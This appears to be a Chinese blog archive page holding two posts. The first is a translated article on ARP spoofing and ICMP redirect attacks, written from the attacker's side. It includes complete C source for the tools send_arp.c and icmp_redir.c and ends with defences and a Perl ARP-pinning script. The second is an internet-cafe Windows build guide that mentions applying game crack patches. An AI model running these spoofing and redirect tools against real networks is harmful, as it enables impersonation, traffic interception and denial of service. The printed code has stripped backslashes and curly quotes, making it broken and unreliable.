分类归档: Network

关于ARP和ICMP

对于旁观者来说,事物的缺点和优点往往是同时存在的。我很高兴可以向你们显示两
个正规的协议——arp和icmp,当你用一些特殊的方法使用它们的时候,却得到意想不到的结果。
相对于被动攻击(网络监听sniffing)来说,主动攻击使用的并不普遍——许多管理
员都拥有一个网络监听工具,帮助他们管理局域网。在你的LAN中,主动攻击将会给你的生活添
加光彩和乐趣。你知道,仅仅是一些技术细节使得这些角落有些昏暗不明。那么,我们去看看
那里究竟有些是什么。
我们首先描述一下网络欺骗(spoofing)和拒绝服务(DoS-deny of service)。象IP
盲攻击一样,网络攻击常常非常普通并且功能强大,但是对使用者来说,需要做大量的工作(常
常是猜),而且难于实行。但是ARP欺骗正好相反,它非常容易使用且方便。

一、ARP欺骗

ARP欺骗往往应用于一个内部网络,我们可以用它来扩大一个已经存在的网络安全漏洞。
如果你可以入侵一个子网内的机器,其它的机器安全也将受到ARP欺骗的威胁。
让我们考虑一下的网络结构
IP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4
hostname cat rat dog bat
hw addr AA:AA BB:BB CC:CC DD:DD
所有的主机在以太网中以简单的方式进行连接(没有交换机,智能HUB)。你是cat,你
具有root权限,你的目标是侵入dog。而你知道dog信任rat,所以如果你能伪装成rat,那么你就
能获得一些意外的东西。
也许你首先想到的是,“为什么我不把我的IP设成rat的,然后…”,这种方式无法工
作,无法可靠的工作。如果你将cat的IP设置成10.0.0.2,那么cat将以这个IP回答ARP请求。但
是rat也会的。这样你们就进入了一个纯粹的竞争状态,而这场比赛没有赢家。相反的,你会轻
易的输掉这场比赛,因为许多工具会立即发现这种IP冲突的现象,抱怨之声随之而来。一些网络
交通分析工具还常常对它进行纪录。在网络管理员的日志文件中还会保留一条恶心的纪录(cat
的物理地址),这可不是你想要的。你的不到你想要的东西,并且与你的目标背道而驰。
这个东西是你想要的,一个攻击程序——send_arp.c,一个非常有效的工具。正如它的
名字所示,它发送一个ARP包(ARP回答,准确的说:由于这个协议是无状态的,即使在没有请求
的时候也可以做出应答。请求同应答是一样的。)向网络上,你可以把这个包做成你想要的样子。
而你想要的只不过是可以去定制源IP与目的IP,还有硬件地址。
当你进行ARP欺骗的时候,你不希望你的网卡乱说话,那么你可以用“ifconfig eth0 -arp”
关掉你的ARP协议。当然,无论如何你都需要ARP的信息,手动的构建它并使它发向内核。重要的
事你要获得你周围人们的信任。在这个例子中,你希望dog认为rat的硬件地址是AA:AA(cat),
所以你发送一个ARP应答,它的源地址是10.0.0.2,源硬件地址是AA:AA,目标地址是10.0.0.3和目
标硬件地址是CC:CC。现在,dog完全相信rat的硬件地址是AA:AA。当然dog中缓存会过期,所以它
需要更新(重新发送请求)。多长时间发出请求,各个操作系统不同,但是大多来说是40秒钟左
右。经常发送ARP应答,这对你来说不会有坏处的。
对于ARP缓存处理方法的不同会带来问题的复杂性。一些操作系统(例如Linux)会用向
缓存地址发非广播的ARP请求来要求更新缓存(就象你妻子打电话来看你在不在一样)。这种缓
存更新会给你增加麻烦,会使你刚刚伪造的ARP缓存被更改掉,所以必须避免此事发生。经常的
向dog发出应答数据,这样它就不会发出请求。正是预防为主。对于rat来说,它根本就没有机会
来改变这一切。
所以过程是简单的。首先来设置网络接口别名(ifconfig eth0:1 10.0.0.2),添加rat
的IP地址并且打开ARP协议(ifconfig eth0 arp)——你需要设置你的ARP缓存,当没有ARP时,
它不会工作。然后在正确的网络接口上设置到dog的路由。再设置dog的ARP缓存。最后,关掉网络
接口的ARP功能。这样一切就OK了。
现在,当你用send_arp将毒液注入之后(dog和rat),那么,dog就会认为,你就是rat。
一定要记住,要持续不断的向dog和rat发出ARP包。
这种攻击方式就仅仅工作在局域网内(通常的,ARP包是不会路由的)。一个有趣的尝试
是,把我们上述试验中dog替换成路由器,如果可以实现的话(我不确定它是否会永远成立,路由
器的ARP功能不是那么容易欺骗的),你可以轻易的冒充这个局域网内的机器去欺骗这个Internet
世界了。所以目标可以是任何一台机器,但是你要伪装的机器,必须是这个局域网内的。
除了欺骗以外,你还可以用ARP作很多事。蓝天之下,皆可任你遨游。或者,DoS也是一个
非常有用的程序。
给rat一个错误的硬件地址,是一个非常有效的让它闭嘴的方法。你可以避免它向一些特
殊的机器发出请求(一个ARP缓冲池通常可以容括整个网络的内容,所以你可以在一段时间内有效
的防止它向其它机器发出请求)。非常明显目标也可以是一台路由器。干扰缓存需要两步:搅乱被
伪装的机器和你不希望它与之通讯的机器。这种方法不是常常奏效,当这台机器发现缓存中没有目
标机器时,会主动发出ARP请求。当然你的下一滴毒液会迅速注入,但是你需要经常维持这种状态。
一个比较有效的方法是,给rat一个错误的dog硬件地址,这样rat既能保持正常的工作状态,又不
会干扰你的活动。同样的,这种方法也依赖于不同的环境,通常的情况是rat会经常的向错误的目
标发出各种不同的包,目标会返回ICMP不可抵达信息,从而用一种不正当的方式维持了连接。这种
伪装的连接可以推迟缓存的更新时间。在Linux上,我们可以是更新时间从1分钟提升到10分钟。在
这一段时间内,你已经可以完成一个TCP连接可以完成的大多数事情了。
这里存在一个有趣被称为“无理ARP”。在这个ARP请求包中,源IP与目的IP是相同的,通
常它是经过以太网广播进行发送。一些执行程序认为这是一种特殊情况——系统发出的自身更新信
息,并且将这个请求添加在自己的缓存中。这种方式里,影响的是整个网络。这是毋庸置疑的,但
这并不是ARP协议的一部分,而是由执行者决定是否作(或是不作),这渐渐的变得不受人欢迎。
ARP也可以用来开一些非常专业的笑话。假想一下某人设置了一个中继器或者是一个管道,
仅仅是利用自己的机器去骗取两台相邻机器的信任,并且把通讯的包都发给这台机器。如果这台机
器仅仅是转发数据,那么谁也不会发现。但是当它仅仅作一些很少的改动时,就会给你添加非常大
的麻烦。例如,随机的更改数据包中的几位,这样就会造成校验和错误。数据流好像是毫发无损,
却会毫无原因的出现不可预料的错误。

二、ICMP重定向

另外一个比较有效的并且类似与ARP欺骗的手段是利用另外一个正常的协议——ICMP重
定向。这种重定向通常是由你的默认路由器发来的,通告你有一个到达某一网络的更近的路由。
最初,既可以通告网络重定向,也可以通告主机的重定向,但是现在,由于网络重定向被否决,
仅剩下了主机重定向。正确的制作一个经过完整检查的ICMP包(必须由默认路由器发来,发向重
定向机器,新的路由应该是一个网络的直接连接等等),接收者会对系统的路由表进行更新。
这是ICMP的安全问题。伪装一个路由器的IP地址是简单的,icmp_redir.c正是作的这个
工作。RFC声明系统必须遵循这个重定向,除非你是路由器。实际上几乎所有的系统都支持这一
点(除了vanilla Linux 2.0.30)。
ICMP重定向提供了一个非常有力的DoS工具。不像ARP缓存更新,路由表不存在的过期问
题。并且不需要在本地网络,你可以发起攻击从任何地方。所以当目标接受了ICMP重定向之后(
包确切抵达),目标就不会再和网络上的一些机器进行通讯(是的,并不是所有的机器,但是一
些与目标机器不在同一个网络上的机器)。域名服务器会是一个非常好的攻击目标。

/* send_arp.c
这个程序发送ARP包,由使用者提供源/目的IP和网卡地址。编译并运行在Linux环境下,
也可以运行在其它的有SOCK_PACKET的Unix系统上。
这个程序是对上述理论的验证,仅此而已。
*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet.n
tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addrnn"};

struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

if(argc != 5)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket");
exit(1);
}

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%sn",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %sn",str);
exit(1);
}
}
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i<ETH_HW_ADDR_LEN;i++){
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-‘0’;
else if(c >= ‘a’ && c <= ‘f’) val = c-‘a’+10;
else die("Invalid hardware address");

*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-‘0’;
else if(c >= ‘a’ && c <= ‘f’) val = c-‘a’+10;
else die("Invalid hardware address");

*buf++ |= val;

if(*str == ‘:’)str++;
}
}


and

/* icmp_redir.c
本程序由用户提供的网关地址发送了一个ICMP主机重定向数据包。在Linux2.0.30
上测试通过,并且对大多数的Unix机器有效。
这个程序是对上述理论的验证,仅此而已。
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define IPVERSION 4

struct raw_pkt {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct icmphdr icmp;
struct iphdr encl_iphdr;
char encl_ip_data[8];
};

struct raw_pkt* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.
yuri volobuev’97n
tusage: icmp_redir gw_host targ_host dst_host dummy_hostn"};
char on = 1;

if(argc != 5)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}

sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);

memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
sizeof(struct iphdr));

pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
sizeof(struct raw_pkt)-sizeof(struct iphdr));

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%sn",str);
exit(1);
}

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
if( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %sn",str);
exit(1);
}
}
return addr;
}

unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;

while(len > 1){
sum += *addr++;
len -= 2;
}
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}

三、解决方案

对于大多数人来说,ARP是一个隐藏的底层协议。你可以时不时的观察它,但是平常不
会有人对它发生兴趣。你可以用arp命令来检查你的ARP缓存,但是当一个网络出现问题的时候,
这个并不是我们首先想到的。Windows也存在这个命令,记住这一点也许对你有帮助。但是当一
个ARP欺骗通过网关从另一个网络发向你时,恐怕你也无能为力了。同样的,你也可以在你的路
由表中发现重定向的路由信息(route 命令,用“D”标志来标明)。
ARP攻击设计来攻击10Base2以太网。如果网络已一些比较先进的方式进行连接,通常是
智能HUB或交换机,那么攻击就很容易被发现,甚至是不可能的(类似于被动攻击)。所以这是
一个向你的老板要求更新网络设备的理由。
这么想起来,ICMP重定向真是一个非常疯狂的想法。首先,一些网络的结构非常简单,
对路由表不需要任何添加;其次,大多数的稳定的网络上,仅仅是用手动的办法来更新路由。这
并不是一个经常更新的工作,为什么要通过ICMP呢?最后,这个对于你来说是非常危险的,你可
以在你的系统上关闭ICMP重定向,这样可以减少同RFC1122的冲突。哎,这可不容易呀!在Linux
这种提供源码的机器上,你可以重新编译内核。在Irix 6.2和一些其它的系统上,可以“set
icmp_dropredirects=1”。这与其它的OS,我也不知道有什么办法。
时间证明了这个真理:不要信任未确认的主机。否则,网络上帝不会对你施予怜悯的。
一些人认为“我有防火墙,我怕谁”,认为一些安全问题对它来说无关紧要。我承认防
火墙的作用,但是这并不是经常有效。
想象这样一个环境,所有的机器都直接与Internet相连,你不得不与你不了解的人共用
你的内部网,他们使用的是vanilla SGI 的机器,而他们简直是在到处告诉别人“来攻击我吧,
我的买主使它非常简单”(是这样的,那些人认识Unix,从侏罗纪公园…),另外,通向你的
路由器由别的机构控制。让我们来到一个标准的网络环境,它会提供我们安全,不受外部的攻击。
人们在这里工作,使用电脑。同样,这里的每台机器也存在安全问题。所以,当你下一次提到防
火墙的时候,请记住它并不能保护每一个人。
John Goerzen提供了一个Perl脚本,可以在系统启动时运行。它主要是在Linux机器中
维持一个已知的IP地址与硬件地址的缓存,设置标志,以使其不会被更新和改变。配置文件非常
简单——IP addr 配 MAC addr,用空格键分割,“#”作为注释。
这个脚本仅仅在Linux机器上测试过——在其它平台上的人需要修改arp命令的格式。
注意:脚本需要运行在网络接口启动之后,服务和客户运行之前;另外,一些人会在
ARP被锁定时窃取连接。以下是它的脚本:
#!/usr/bin/perl
# Program: forcehwaddr
# Program to run ARP to force certain tables.

# Specify filenames to read from on command line, or read from stdin.

foreach (<>) { # For each input line….
chomp; # Strip if CR/LF
if (/^#/) { next; } # If it’s a comment, skip it.
if (((($host, $hw) = /s*(.+?)s+(S+)s*/) == 2) &&
!(/^#/)) {
# The text between the slashes parses the input line as follows:
# Ignore leading whitespace. (s*)
# Then, start matching and put it into $host ($host, (.+?))
# Skip over the whitespace after that (s+)
# Start matching. Continue matching until end of line or optional
# trailing whitespace.

# Then, the if checks to see that both a
# host and a hardware address were matched.
# (2 matches). If not, we skip the
# line (assuming it is blank or invalid or something).
# The second part of the if checks to see if the line starts with
# a pound sign; if so, ignore it (as a comment).

# Otherwise, run the appropriate command:
printf("Setting IP %-15s to hardware address %sn", $host, $hw);
system "/usr/sbin/arp -s $host $hwn";
}
}

Read: 802

网吧操作系统制作与优化2007最终版

一直就想写这么一个关于网吧系统制作的完整的思路了,网上关于系统制作的帖子比比皆是,但都不是很详尽。虽然自己之前也写过类似的文章,但是都觉得不是很 满意,没有能够完整的表达出来自己的意愿。有一些制作思路来源于网上,我稍微做了些修改。这也许算是对自己系统制作方法的一个小结把,写出来给大家提供一 个参考,如果觉得有什么不足,欢迎朋友们与我一起共同探讨。

首先是一个认识上的问题:网吧的系统的应用是所有的网民,所以一个系统尽量做的通俗易懂,简单实用,我对优化不报多大的看法,安全与稳定/维护方便/更好的与顾客沟通是一个网吧系统好坏的重要因素。

一.系统制作前的准备:
1.系统盘,驱动盘,光驱,一些必须的应用软件及补丁。
或 者使用从网上下载的GHOST系统,比如 深度 诺德尔 亮版 (我不怎么推荐使用番茄的系统,因为感觉他的系统主要是针对家庭用户制作的)如果你想更好的学习系统制作的话,我建议你用原版的WINDOWS系统安装盘 (比如上海政府版等等),这样你才可以学到更多的东西。
我习惯把驱动跟一些做系统必须用到的软件搜集齐放在移动硬盘上,如果你没有的话,也可以把驱动跟做系统必须用到的软件先搜集好,准备在其他的硬盘上,驱动我觉得网卡驱动是必须准备好的。其他的就算没有的话,都好办,有了网络,你还怕什么呢。
2.BISO设置:
1、禁用没有安装IDE设备的IDE接口.硬盘最好安装在第一IDE设备的主盘,而其他IDE设备全部禁用.把软驱禁用并把软盘控制器也禁用!现在估计很多网吧都用的是串口硬盘把,那么把所有的IDE接口都禁用。(如果用光驱安装,则暂时开启,安装完毕不使用光驱再禁用)
2、系统BIOS映射:显卡BIOS映射和系统BIOS映射最好都设为开启.
3、内存设置:内存工作频率设为BY SPD由系统自己决定它的工作状态,网吧系统要的是稳定,而网吧系统的性能并不是靠超频弄出来的!
4、启动项:第一启动设备设为HDD-0(这个不尽相同,有的也许是IDE-0等),其他启动设备全部禁用.如果用光驱安装的话,则要先调整为CD-ROM,系统安装完后再调回来。
5、开机自检选项:[Halt on]设置为"No errors".

二.装系统
①.分区.
不管用光驱安装或者是用GHOST安装,都建议先用Partition Magic(不要用DM或diskman)进行分区格式化,ntfs格式,如果有给虚拟内存跟备份文件单独作一个分区的话,建议那个分区使用FAT32格式。
我是分的三个区,以80G硬盘为例:
C系统盘,4-5个G;ntfs。
D盘游戏盘,55G;ntfs。
E盘单机游戏/游戏菜单/备份,剩余的空间,ntfs。
还有种分区方法:
C:系统盘→4G,ntfs;
D:游戏盘→55G,ntfs;
E:应用软件,聊天软件,在线游戏,常用工具→12G,ntfs;
F:虚拟内存跟备份文件→5G,FAT32。
仅供参考,我只是提供个思路。
有的朋友也许只用了两个分区,觉得这种分区方法有点单一,跟一些新的软件使用不能完美的结合(比如VD,讯闪2007等)。

②.安装系统
这步我就略过了,做系统其实不难,安装系统也不难,难的是做个好系统。

三.安装驱动以及补丁/系统软件及应用软件((原版安装的记得关系统还原)
A.安装驱动
①.GHOST版本的系统,
克 隆完进系统的第一步应该就是修改电源模式,不过我想这部大部分的GHOST系统已经把相关的根据集成进去了的。如果你对电源的选择不是很熟悉的话,建议使 用电源修改软件推荐的电源模式。当然也可以找你相同配置的机器,然后看“系统属性”–“硬件”–“设备管理器”–“计算机”里面的电源的类型,然后 再在电源修改软件上选择相应的电源模式。

②.安装WINRAR(如果系统中没有的话,最好使用注册版的),再安装驱动。驱动安装的顺序应 该是按照 主板驱动→显卡驱动→声卡驱动→网卡驱动→USB2.0驱动→摄像头驱动(若有的话,摄像头要所有USB口都插一遍,如果是USB鼠标也一样) →DX9.0C→NET Framework 2.0 (有时候有些游戏可能需要用到他它,还是安装上把)的顺序来的把,NF系统的主板如果你想安装冰点还原软件的话,安装主板驱动的时候则不要安装IDE驱 动,IDE驱动就使用标准的双通道PCI IDE控制器,性能方面我想应该应该也没有什么大的影响把。

③.显卡驱动的选择是个很重要的环节,驱动不一定要使用最新的,有时候显卡自带的驱动光盘所有的驱动不一定是最好的。
选择一款稳定、快速的驱动所该遵循的定律:
1、 通过微软WHQL认证的
2、 在产品发布一段时间后才出现的
3、 产品在市面上消失前之推出的

nVIDIA 显卡具体推荐如下:NF6以及NF7系列的推荐用84.66whql版驱动,GeForce256显卡无论Win98和Win2000都推荐27.42版 驱动。GeForce2 GTS Win98下推荐41.09版,Win2000下推荐40.72版, WinXP下推荐41.09版;GeForce2 MX Win98下推荐40.72版,Win2000下推荐42.01版, WinXP下推荐42.01版;GeForce3 Ti系列 Win2000下推荐44.03版, WinXP下推荐43.51版;GeForce4 MX系列Win98下推荐40.72版,Win2000下推荐43.51版, WinXP下推荐43.51版;对于GeForce4 Ti系列我们是全系统推荐43.51版。这一档次的显卡基本上都用上了雷管FX系列驱动,nVIDIA能对老卡做这么长时间的优化也实属不易。不过也就到 此为止了,它们后面的驱动已经是全力为GeForce FX系列优化,对它们很难顾及了。A卡就遵循上面的定律把。

④.声卡驱动千万不要用万能AC’97驱动,推荐用Hwinfo软或者aida32检测正确的声卡型号。
安 装完毕后把声音图标从控制面板中调出来:控制面板–声音和音频设备—将音量图标放入任务栏,然后选择任务栏音量图标,打开音量控制,将麦克风 (microphone)调整出来,取消前面的静音选项,仅留音量(volume)/声道(wave)/麦克风(microphone)3项前面的勾,其 他的全部去调。

⑤.任何驱动一般尽量不要使用万能驱动,驱动是操作系统的灵魂,选择一款合适的驱动就如一个美女穿一件很合身的衣服一样,如果让她穿一件大众化的衣服,我想也会让她减了几分姿色的。

⑥. 关掉不用的设备:windows xp总是尽可能为电脑的所有设备安装驱动程序并进行管理,这不仅会减慢系统启动的速度,同时也造成了系统资源的大量占用。针对这一情况,你可在 设备管理器中,将pcmcia卡、调制解调器、红外线设备、打印机端口(lpt1)或者串口(com1)等不常用的设备停用,方法是双击要停用的设备,在 其属性对话框中 的"常规"选项卡中选择"不要使用这个设备(停用)"。在重新启动设置即可生效,当需要使用这些设备时再从设备管理器中启用它们。

⑦. 驱动安装完,安装MAXDOS,建议用5.7版本以上的,密码不要使用默认的,尽量不用简单的数字。然后马上做GHOST备份,不要嫌麻烦。多做备份,以 便中途出错恢复系统。如果怕GHOST文件占用磁盘空间的话,可以挂块从盘,将系统制作过程中的所有备份的GHOST(不是最终的那个)全部做到从盘上 去,以便母盘更好的合理分配空间。

B.安装系统补丁
这时候可以挂块从盘(之前提到的放系统制作一些必须的软件的硬盘)或者移动硬 盘,安装相关的软件,先打好微软的几个关键性补丁:比如冲击波,震荡波,(SP2系统可以略过)阻击波,魔波,还有微软的威金病毒补丁,ARP补丁,以及 JPEG补丁、IE累积更新补丁等。还有IE繁体补丁,xp运行脚本程序VBS补丁(选装内容,因为我的系统中应用到了大量的VBS,所以我安装了)等。 如果你懒得去微软打补丁的话,也可以去网上搜索那些别人打包出来的微软补丁集合来安装。不过这些应该是在母盘制作之前准备在其他的硬盘上的,而不是到了做 系统的时候再去到网上搜索系统制作必须的软件/工具与补丁,有备则无患。做母盘的时候尽量不要联网,如果需要连网的话,首先先确定下你的系统够安全不,打 了补丁,安装了病毒防火墙了吗?
补丁安装完,重新启动系统,删除WINDOWS目录下所有的以$开头的隐藏文件,做GHOST备份。

C.安装系统软件及应用软件,安装任何软件的时候确记,千万不要把软件捆绑的流氓软件安装上了,比如Realplayer/千千静听/联众世界/QQ等都捆绑有流氓软件,不止这些,其他的还有软件都捆绑着有流氓软件,所以当一款软件不需要安装的时候,尽量不安装。
①.MicrosoftOffice:自定义安装,选择WORD及EXCEL就够了,可以把PowerPoint也附带上。
PDF阅读器:推荐使用超星阅览器。
②. 播放软件:Ffshow/Divx/Media Player/Realplayer/千千静听/暴风影音/FlashPlay 9.0,Winamp也可以,用千千静听的话就可以免了,软件都尽量使用最新版本的。我一般使用暴风影音跟千千静听,先用暴风影音关联所有音频及视频文 件,再用千千静听关联全部音频格式的文件(MP4文件除外),在千千静听的设置选项“歌词搜索”项里面选中“有多个可选地址自动选择最佳”,可以把网吧所 有的音乐资源做成播放列表。

Windows Media Player的设置:工具==>>选项==>>性能==>>选择连接速度==>>LAN 10mpbs 或更高,Media Player11无法安装的话,用WINRAR把Media Player11安装文件解压到文件夹,运行里面的wmfdist11.exe以及wmp11.exe。

RealPlayer的设置:一定要打上屏蔽弹出广告的补丁,
工具==>>首选项==>>修改以下几项:
常规项:
在启动显示上:选择仅限于播放器(无媒体浏览器)
允许在文件夹菜单中显示历史记录列表:把勾去掉
连接==>>网络传输:
手动配置连接设置:
rtsp设置:尝试为所有内容使用TCP(T)改为3000毫秒并打上勾,别的全部去掉;
PNA设置:改成和上面一样。

网吧如果有用到**的话,则还需要安装WebPlayer;
如果有其他的在线影院(比如中国网吧院线等)的话则需要用Realplayer关联流媒体文件,那么最好用Realplayer及千千静听来关联视频及音频文件,暴风也无须安装了。

③.安装王码五笔((选择86版的)/紫光拼音输入法(选装)。
控制面板—区域和语言选项—语言,仅留"简体中文–美式键盘"/全拼/王码五笔/智能ABC输入法(如果是5.0的话则升级到智能ABC输入法5.22版本,不建议升级到5.23,不然玩某些游戏的时候无法看到待选字母,比如WOW等)

更改键设置:控制面板—区域和语言选项—语言—详细信息—键设置—-更改键顺序,选择CTRL+ALT切换输入语言;
关闭语言栏:控制面板—区域和语言选项—语言—详细信息—-语言栏;
关闭高级文字服务-:控制面板—区域和语言选项—语言—详细信息–高级;
打上XP输入法补丁。

④.ACDSEE/MSN7.5/QQ/QQ显IP版/新浪UC/新浪围棋/新浪UT/TS/大智慧/E话通/网易泡泡/联众世界/中国游戏在线中心/QQ游戏/QQ游戏对战平台/浩方对战平台/南极星
可以不安装的软件,尽量不要安装。一定要注意不要把软件附带的流氓软件安装到系统中了。这些软件可以安装在非系统分区,

联众世界似乎默认是安装在 C:Program Files 文件夹下面的,但是可以修改注册表让它可以安装在其他目录。
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion]

"ProgramFilesDir"="C:\Program Files"

把"ProgramFilesDir"的值修改为其他非系统分区的路径,比如按照我提供的分区思路,可以修改为E:\Program Files。再安装联众世界的话,就可以改动到E盘的Program Files目录下了。
QQ游戏对战平台记得与QQ游戏关联,QQ游戏记得与QQ关联。(都登陆运行次就可以了)

关于QQ的超级视频问题:先装好QQ,再在视频设置里把始终使用普通模式勾上,完成后关掉QQ,找到QQ目录下面的vqqset.dll这个文件,删掉,接视频不再占网速。

QQ的减肥以及个性化登陆界面的制作,自己去找资料把,网上很多的,酌情处理。

QQ游戏/联众世界/中国游戏在线中心等记得升级常用的游戏。浩方对战平台/QQ游戏对战平台 记得设置好CS1.5/CS1.6/星际/魔兽/红警等游戏的路径。

⑤. 从其他的硬盘或者游戏主机拷网络游戏及单机游戏过来(建议挂从盘拷贝,速度相对来说快得多,推荐使用TotalCmd或者TotalCopy拷文件,不要 同时进行多个任务,以便尽量保证文件的连续性),单机游戏建议拷至E盘,网络游戏拷至D盘。(为了结合目前许多的带还原保护游戏更新软件使用,建议网络游 戏放D盘)

⑥.运行所有的单机游戏,导入单机游戏注册表或者破解补丁的,确保所有的单机游戏能够正常运行,调节CS1.5的视频设置为 OPENGL加速,800*600,CS1.6及魔兽争霸也需要进行一些小的地方的设置,红警打上联机补丁,最好进入游戏,在选项–网路–网路卡 里面,将里面的网路卡设置改为第2项或者第3项。

⑦.导入劲舞团/劲乐团注册表补丁,网络游戏全部运行测试并且升级。

⑧GHOST做备份。

四.一些细节方面的设置:(没有一定顺序,如果你对有些设置或者操作没有把握,请先做个GHOST备份以便操作失误恢复)

1.删除多余文档
帮助文件:在C:WindowsHelp目录下。(建议)
驱动备份:C:Windowsdriver cachei386目录下的Driver.cab文件。(不建议)
系统文件备份: 一般用户是不怎么用的,利用命令sfc.exe /purgecache删除。(建议)
备用的dll文件:在C:Windowssystem32dllcache目录下(不建议)

2.删除WindowsXP中隐含的组件(没有什么必要)
Windows XP在正常安装之后,会自动安装许多组件,这些组件有许多是平时用不到的,安装在系统中会占用很多空间,降低系统性能,我们可以用下述方法删除不用的组 件。用记事本修改C:WindowsInf目录下的Sysoc.inf文件,用查找/替换功能,在查找框中输入“,hide”(,个英文逗号紧跟 hide),将“替换为”框设为空。并选全部替换,这样,就把所有的“,hide”都去掉了
,存盘退出,再单击“开始/控制面板/添加或删除程序”,就可以看到许多平时见不到的组件,选择不需要程序进行删除即可。

3.删除多余字体(不推荐)
C:Windowsfont目录,根据需要选择一些字体,把没有必要的删除.我是不怎么推荐精简系统的,除了一些必要的精简外,(其实还可以用nLite来精简系统的)。

4.取消XP自带的压缩文件夹工具:
点击开始—>运行,敲入: regsvr32 /u zipfldr.dll 然后回车即可。
去除XP自带图片预览功能:Regsvr32 /u Thumbvw.dll

5.一些“常规”的设置:
去除屏幕保护程序;
